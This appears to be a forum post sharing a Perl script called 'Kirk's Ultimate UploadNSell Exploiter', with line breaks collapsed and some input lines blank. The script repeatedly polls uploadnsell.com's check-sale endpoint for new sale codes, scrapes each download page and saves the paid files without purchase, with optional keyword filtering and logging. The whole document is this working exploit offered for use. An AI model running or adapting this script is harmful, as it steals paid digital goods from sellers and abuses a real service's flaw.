13 Years of Service
24%
Code:
>#!/usr/bin/perl# -----------------------------------------------------------------------------------------------------------------# Kirk's Ultimate UploadNSell Exploiter# -----------------------------------------------------------------------------------------------------------------# May only be used by TheKirk.info members, if you found this anywhere else, please contact me: [email protected]# If you email me honestly even though you didn't obtained this the 'legal' way, you'll get a treat :)# -----------------------------------------------------------------------------------------------------------------# www.thekirk.info# Includesuse LWP::Simple;use LWP::Useragent;# Check if if($#ARGV != 1){ print "\nUsage: perl uploadnsell.pl [log loc] [save dir]\n"; exit;}# Print extra new lineprint "\n";# Print headerprint "Kirk's Ultimate UploadNSell Exploiter - TheKirk.info";print "\n------------------------------------------------\n";# Setup download mode$Keywords = "";$FilterEnabled = 0;DownloadMode: print "Download all or setup a filter? [all/filter]: "; $DownloadMode = ; chomp($DownloadMode); if($DownloadMode ne "all") { if($DownloadMode ne "filter") { goto DownloadMode; } else { goto Rest; } goto DownloadMode; } else { goto Rest; }Rest: if($DownloadMode eq "filter") { $FilterEnabled = 1; print "Enter keywords seperated by a ,: "; $Keywords = ; chomp($Keywords); } print "\n\n";# Variable that holds the last code$LastCode = "";# Variable that holds the log location and the directory where files need to be saved$LogLocation = $ARGV[0];$SaveLocation = $ARGV[1];# Detect directory seperator (/ or \)$DirectorySeperator = "";if (index($SaveLocation, "/") != -1){ # Clear Screen system("clear"); $DirectorySeperator = "/";}else{ # Clear Screen system("cls"); system("title Terrmabo's Ultimate UploadNSell Exploiter - TheKirk.info"); $DirectorySeperator = "\\";}# Check if the log file exists, if not then create itunless(-e $LogLocation){ open (LogFile, '>'.$LogLocation); print LogFile ""; close LogFile;}# Check if the save location exists, if not then create itunless(-d $SaveLocation){ mkdir $SaveLocation or die;}# Infinite Loopwhile(1){ # Retrieve code $Code = get("http://uploadnsell.com/check-sale.php"); # Check if it's a new code if($Code ne $LastCode) { $LastCode = $Code; DownloadCode($Code); } # Sleep sleep 5;}# Subroutine to download infosub DownloadCode{ # The code $TheCode = $_[0]; # Retrieve info $DownloadPage = "http://uploadnsell.com/download/" . $TheCode; $DownloadContents = get($DownloadPage); # Premake some variable $ProductName = ""; $Price = ""; $DownloadUrl = ""; $Filename = ""; # Extract Product name if($DownloadContents =~ m/Product Name: (.+)
/i) { $ProductName = $1; } # Extract price if($DownloadContents =~ m/Price: (.+)
/i) { $Price = $1; } # Extract Download Url if($DownloadContents =~ m/(http:..uploadnsell.com.file..+)"/i) { $DownloadUrl = $1; } # Extract file name if($DownloadContents =~ m/http:..uploadnsell.com.file..+">(.+)/i) { $Filename = $1; } # Print $LogContents .= "\nCode: " . $TheCode; $LogContents .= "\nProduct: " . $ProductName; $LogContents .= "\nPrice: " . $Price; $LogContents .= "\nFilename: " . $Filename; $LogContents .= "\nDownloadUrl: " . $DownloadUrl; # If filters are enabled then see if there are matches if($FilterEnabled == 1) { # Split keywords and loop trough them @Keyword = split(/,/, $Keywords); foreach $Key (@Keyword) { # Check if product name contains the keyword if (index($ProductName, $Key) != -1) { # Append to log $LogContents .= "\nSaved as: " . $SaveLocation . $DirectorySeperator . $TheCode . '_' . $Filename; # Download file getstore($DownloadUrl, $SaveLocation . $DirectorySeperator . $TheCode . '_' . $Filename); } } } else { # Append to log $LogContents .= "\nSaved as: " . $SaveLocation . $DirectorySeperator . $TheCode . '_' . $Filename; # Download file getstore($DownloadUrl, $SaveLocation . $DirectorySeperator . $TheCode . '_' . $Filename); } # Print log print $LogContents . "\n"; # Append to log open(Log, '>>'.$LogLocation); print Log $LogContents; close Log;}